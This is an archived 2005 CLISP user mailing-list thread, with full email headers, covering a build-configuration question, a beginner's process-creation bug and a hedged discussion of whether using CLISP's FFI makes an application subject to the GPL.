[150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTAHA0H; Mon, 6 Jun 2005 17:43:44 +0300 Message-ID: <42A46092.1040002@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: bsd1628 CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem building from cvs References: <6.2.0.14.0.20050606001323.031d3d40@mail.bwphotog.net> In-Reply-To: <6.2.0.14.0.20050606001323.031d3d40@mail.bwphotog.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 6 07:41:25 2005 X-Original-Date: Mon, 06 Jun 2005 17:41:22 +0300 bsd1628 wrote: > I am building clisp (cvs download today) with the following parameters: > > ./configure build-dir > cd build-dir > ---------------------------------------- > ./makemake --prefix=/usr/local/clisp \ > --with-dynamic-ffi \ > --with-module=regexp \ > --with-module=syscalls \ > > Makefile ---------------------------------------- This is lines from end of out after ./configure ? In my case (mingw): $ ./configure --with-mingw --config build-test .... To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd build-small ./makemake --with-dynamic-ffi --win32gcc > Makefile make config.lisp vi config.lisp # The default stack size on your platform is insufficient # and must be increased to at least 8192. You must do either # 'ulimit -s 8192' (for Bourne shell derivatives, e.g., bash and zsh) or # 'limit stacksize 8192' (for C shell derivarives, e.g., tcsh) make make check No "--with-module=..."! Perhaps, in your system in another way? $ cat src/NEWS Important notes --------------- * All .fas files generated by previous CLISP versions are invalid and must be recompiled. This is caused by the addition of MOP, the DEFSETF fixes, and the TRANSLATE-PATHNAME and MAKE-HASH-TABLE enhancements. Set CUSTOM:*LOAD-OBSOLETE-ACTION* to :COMPILE to automate this. See for details. * The name of the Run-Control file has changed from '_clisprc' to '.clisprc' on all platforms. If you are using woe32, please rename your Run-Control file. * Modules i18n, regexp, and syscalls are now present even in the base linking set. Do not pass, e.g., "--with-module=regexp" to configure. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ I am sorry if I am wrong. -- WBR, Yaroslav Kavenchuk. From ashwin.shirvanthe@gmail.com Wed Jun 08 04:25:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DfygN-0007YT-7p for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 04:25:15 -0700 Received: from wproxy.gmail.com ([64.233.184.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DfygM-00057f-Pa for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 04:25:15 -0700 Received: by wproxy.gmail.com with SMTP id 69so241061wri for ; Wed, 08 Jun 2005 04:25:08 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=QTba2AoOLMAz3jfEgQXZQVjAgFqo+r4BMpgtIRCCA7t5zLsiH17HLBheU4nVHMRtDBeQEoiCja62rlN1n7qWp4g6MY7vvs/hEKRldwEiPPx3UpVs8QgBFTkFng0Qw+u+HpZ8zYcfr4pKo6Itkt0/AhkPInbWXnYnCUtJZoW8LAI= Received: by 10.54.47.37 with SMTP id u37mr874309wru; Wed, 08 Jun 2005 04:25:08 -0700 (PDT) Received: by 10.54.104.12 with HTTP; Wed, 8 Jun 2005 04:25:08 -0700 (PDT) Message-ID: From: Ashwin Rao Reply-To: Ashwin Rao To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Process Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 04:25:46 2005 X-Original-Date: Wed, 8 Jun 2005 16:55:08 +0530 I am lisp newbie and want to create a new process. Following is the sample code I wrote which creates a new process that modif= ies=20 a variable. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file (defvar *var*) (setf *var* 1) (defun my-func() (setf *var* (+ *var* 100)) (format t "~A" *var*)) (defun my-process() (let (p1 (make-process #'my-func)))) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file But the function my-func is not getting called.=20 What do I have to do to run the process? I have compiled clisp using --with-threads=3DPOSIX_THREADS Regards, Ashwin From pjb@informatimago.com Wed Jun 08 08:11:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg2D0-00064Y-FU for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 08:11:10 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dg2Cw-00024B-PC for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 08:11:10 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id D683B58344; Wed, 8 Jun 2005 17:10:56 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A7F80585D3; Wed, 8 Jun 2005 17:07:20 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8674B10FBF3; Wed, 8 Jun 2005 17:07:20 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17063.2472.525072.373580@thalassa.informatimago.com> To: Ashwin Rao Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Process In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 08:11:51 2005 X-Original-Date: Wed, 8 Jun 2005 17:07:20 +0200 Ashwin Rao writes: > I am lisp newbie and want to create a new process. > Following is the sample code I wrote which creates a new process that modifies > a variable. > > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; begin of file > (defvar *var*) > > (setf *var* 1) > > (defun my-func() > (setf *var* (+ *var* 100)) > (format t "~A" *var*)) > > (defun my-process() > (let (p1 (make-process #'my-func)))) > ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; end of file > > But the function my-func is not getting called. > What do I have to do to run the process? > I have compiled clisp using --with-threads=POSIX_THREADS Threads are not implemented yet in clisp. In the mean time, you can use unix processes with: (linux:fork). -- __Pascal_Bourguignon__ _ Software patents are endangering () ASCII ribbon against html email (o_ the computer industry all around /\ 1962:DO20I=1.100 //\ the world http://lpf.ai.mit.edu/ 2001:my($f)=`fortune`; V_/ http://petition.eurolinux.org/ From sds@gnu.org Wed Jun 08 09:03:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg320-0000z6-IG for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 09:03:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dg31v-0002O2-Vi for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 09:03:52 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j58G36XV023944; Wed, 8 Jun 2005 12:03:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Ashwin Rao Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Ashwin Rao's message of "Wed, 8 Jun 2005 16:55:08 +0530") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Ashwin Rao Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Process Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 09:04:16 2005 X-Original-Date: Wed, 08 Jun 2005 12:02:59 -0400 > * Ashwin Rao [2005-06-08 16:55:08 +0500]: > > (defun my-process() > (let (p1 (make-process #'my-func)))) this binds P1 to NIL and MAKE-PROCESS to #'MY-FUNC. what you want is (let ((p1 (make-process #'my-func)))) which binds P1 to the return value of (MAKE-PROCESS #'MY-FUNC). PS. CLISP MT does not really work. Patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k "A pint of sweat will save a gallon of blood." -- George S. Patton From ktilton@nyc.rr.com Wed Jun 08 11:47:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg5Zt-0003f0-Du for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 11:47:01 -0700 Received: from ms-smtp-01-smtplb.rdc-nyc.rr.com ([24.29.109.5] helo=ms-smtp-01.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dg5Zq-0004qW-Np for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 11:47:01 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-01.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j58IkqT5026963 for ; Wed, 8 Jun 2005 14:46:55 -0400 (EDT) Message-ID: <42A73D25.5060601@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 TO_ADDRESS_EQ_REAL To: repeats address as real name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 11:47:54 2005 X-Original-Date: Wed, 08 Jun 2005 14:47:01 -0400 From the CLisp copyright: "This copyright does *not* cover user programs that run in CLISP and third-party packages not part of CLISP, if they only reference external symbols in CLISP's public packages (namely the packages COMMON-LISP, COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP internals and would as well run in any other Common Lisp implementation." Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big time.) But if I use the FFI, which is not listed as one of the "public" packages, my code also will not run in any other CL. Is my app now a derived work? -- Kenny From sds@gnu.org Wed Jun 08 14:49:09 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg8Q6-0007Aa-QT for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 14:49:06 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dg8Q2-0006O4-SH for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 14:49:06 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j58LmJ5N013276; Wed, 8 Jun 2005 17:48:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kenny Tilton Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42A73D25.5060601@nyc.rr.com> (Kenny Tilton's message of "Wed, 08 Jun 2005 14:47:01 -0400") References: <42A73D25.5060601@nyc.rr.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kenny Tilton , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 14:50:21 2005 X-Original-Date: Wed, 08 Jun 2005 17:48:12 -0400 > * Kenny Tilton [2005-06-08 14:47:01 -0400]: > > From the CLisp copyright: > > "This copyright does *not* cover user programs that run in CLISP and > third-party packages not part of CLISP, if they only reference external > symbols in CLISP's public packages (namely the packages COMMON-LISP, > COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP > internals and would as well run in any other Common Lisp implementation." > > Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big > time.) But if I use the FFI, which is not listed as one of the > "public" packages, my code also will not run in any other CL. > > Is my app now a derived work? it is my understanding that portability layers are explicitly exempt from the GPL contagion. The rule of thumb is: is your application useful without CLISP? (i.e., can it be used with other lisps?) if not, it's GPL. if yes, it's not. NOTE: the above is not authoritative, the COPYRIGHT file it. Bruno should clarify the issue both here and in the COPYRIGHT file. -- Sam Steingold (http://www.podval.org/~sds) running w2k I don't like cats! -- Come on, you just don't know how to cook them! From ktilton@nyc.rr.com Wed Jun 08 15:45:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg9Ig-00028N-GF for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 15:45:30 -0700 Received: from ms-smtp-03-smtplb.rdc-nyc.rr.com ([24.29.109.7] helo=ms-smtp-03.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dg9Ie-0005Wf-P6 for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 15:45:30 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-03.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j58MjMGk001191; Wed, 8 Jun 2005 18:45:24 -0400 (EDT) Message-ID: <42A7750C.9090300@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net CC: Bruno Haible References: <42A73D25.5060601@nyc.rr.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 15:46:08 2005 X-Original-Date: Wed, 08 Jun 2005 18:45:32 -0400 Sam Steingold wrote: >>* Kenny Tilton [2005-06-08 14:47:01 -0400]: >> >> From the CLisp copyright: >> >>"This copyright does *not* cover user programs that run in CLISP and >> third-party packages not part of CLISP, if they only reference external >> symbols in CLISP's public packages (namely the packages COMMON-LISP, >> COMMON-LISP-USER, KEYWORD, EXT), i.e. if they don't rely on CLISP >> internals and would as well run in any other Common Lisp implementation." >> >>Hmmm. FFIs are not standardized. (Aside: CLisp's happens to rock big >>time.) But if I use the FFI, which is not listed as one of the >>"public" packages, my code also will not run in any other CL. >> >>Is my app now a derived work? >> >> > >it is my understanding that portability layers are explicitly exempt >from the GPL contagion. > Encouraging. > >The rule of thumb is: is your application useful without CLISP? >(i.e., can it be used with other lisps?) >if not, it's GPL. >if yes, it's not. > But this is less encouraging: if the code uses CLisp FFI explicitly, it is not useful without CLisp. But only in a trivial sense, because I just need to conditionalize the FFI stuff. But triviality may not help legally. So, thanks, but I am still hearing conflicting answers. Hopefully Bruno can clear this up. Thanks for responding. kenny From pjb@informatimago.com Wed Jun 08 15:59:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dg9WX-0002wa-D2 for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 15:59:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dg9WV-0007Yo-ME for clisp-list@lists.sourceforge.net; Wed, 08 Jun 2005 15:59:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6AA22585D4; Thu, 9 Jun 2005 00:59:37 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 830B55833D; Thu, 9 Jun 2005 00:56:00 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 562EC10FBF3; Thu, 9 Jun 2005 00:55:59 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17063.30591.327584.465965@thalassa.informatimago.com> To: Kenny Tilton Cc: clisp-list@lists.sourceforge.net, Bruno Haible Subject: Re: [clisp-list] Re: License Question in re FFI In-Reply-To: <42A7750C.9090300@nyc.rr.com> References: <42A73D25.5060601@nyc.rr.com> <42A7750C.9090300@nyc.rr.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 8 16:00:46 2005 X-Original-Date: Thu, 9 Jun 2005 00:55:59 +0200 Kenny Tilton writes: > >The rule of thumb is: is your application useful without CLISP? > >(i.e., can it be used with other lisps?) > >if not, it's GPL. > >if yes, it's not. > > > But this is less encouraging: if the code uses CLisp FFI explicitly, it > is not useful without CLisp. But only in a trivial sense, because I > just need to conditionalize the FFI stuff. But triviality may not help > legally. > > So, thanks, but I am still hearing conflicting answers. Hopefully Bruno > can clear this up. It seems to me that if you'd design an API KFFI and you'd program your application against this KFFI API, you could implement the KFFI API on UFFI and on CLISP FFI. It's possible that the KFFI to CLISP FFI need to be GPL'ed, but if I've understood correctly, not your application. IANAL. -- __Pascal Bourguignon__ http://www.informatimago.com/ Litter box not here. You must have moved it again. I'll poop in the sink. From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 09 02:04:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgIxD-0003Tj-1C for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 02:03:59 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgIxB-0002eq-8C for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 02:03:58 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 9 Jun 2005 11:01:03 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 9 Jun 2005 11:00:55 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049B9A6A@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: pjb@informatimago.com, ktilton@nyc.rr.com Cc: clisp-list@lists.sourceforge.net, bruno@clisp.org Subject: Re: [clisp-list] Re: License Question in re FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 02:05:50 2005 X-Original-Date: Thu, 9 Jun 2005 11:00:55 +0200 Pascal Bourguignon wrote: >It seems to me that if you'd design an API KFFI and you'd program your >application against this KFFI API, you could implement the KFFI API >on UFFI and on CLISP FFI. It's possible that the KFFI to CLISP FFI >need to be GPL'ed, but if I've understood correctly, not your >application. IANAL. Me too, IANAL. I've a feeling that slime is better positioned than UFFI w.r.t. copyright. UFFI macros are split on a #+xyz case across each and every file, while slime has a easily separatable swank-clisp.lisp file. The header of that files says GPL, while e.g. swank-allegro.lisp says "public domain". Thus I could imagine source package distributing the whole of it, claiming on the largest part of the package, and GPL on some. IMHO that should work. Or they could remove the GPL parts from a particular distribution. With all in a single file, that's harder (or you write a preprocessor to remove #+clisp parts from a Lisp source file) and maintain both files. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 09 02:12:48 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgJ5k-0003wj-CL for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 02:12:48 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgJ5i-0004AO-W2 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 02:12:48 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 9 Jun 2005 11:12:48 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 9 Jun 2005 11:12:40 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net, ktilton@nyc.rr.com Cc: bruno@clisp.org Subject: Re: [clisp-list] Re: License Question in re FFI MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 02:15:37 2005 X-Original-Date: Thu, 9 Jun 2005 11:12:39 +0200 Sam Steingold wrote: >The rule of thumb is: is your application useful without CLISP? >(i.e., can it be used with other lisps?) >if not, it's GPL. >if yes, it's not. >NOTE: the above is not authoritative, the 